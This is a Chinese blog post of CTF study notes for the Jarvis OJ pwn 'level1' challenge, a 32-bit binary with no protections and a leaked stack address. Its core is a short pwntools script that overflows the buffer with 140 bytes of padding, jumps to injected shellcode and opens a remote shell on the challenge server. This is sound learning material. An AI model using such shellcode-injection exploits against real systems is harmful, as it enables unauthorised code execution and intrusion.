Jarvis Oj Pwn 学习笔记-level1

32位pwn题目(听说出题人送shellcode?)

呈上链接:

https://files.cnblogs.com/files/Magpie/level1.rar

nc pwn2.jarvisoj.com 9877

先看一下保护:

竟然什么都没开......所以...

扔进IDA找到溢出点就可以开始食用了:

选中的函数即为存在溢出点的函数:

出题人可以说......是把通往shell的钥匙贴在脸上了。。

特意烹制了一条printf告诉你栈的具体内存地址,shellcode了解一哈...

直接上exp吧:

 1 from pwn import *
 2 context(arch = 'i386', os = 'linux')
 3 r = remote('pwn2.jarvisoj.com', 9877)
 4 # EXPLOIT CODE GOES HERE
 5 ech=r.recvline()
 6 print ech+'##############'
 7 shellcode=asm(shellcraft.sh())
 8 retaddr=int(input('pls ipt=echaddr+0x88+0x08:'))
 9 print p32(retaddr)
10 payload='A'*140+p32(retaddr)+shellcode
11 r.send(payload)
12 r.interactive()

写这段的时候由于初学pwntools,还不太熟练。。

所以,,代码很丑就不说了~

 

posted @ 2018-05-31 15:46  Magpie#Canary  阅读(259)  评论(0编辑  收藏  举报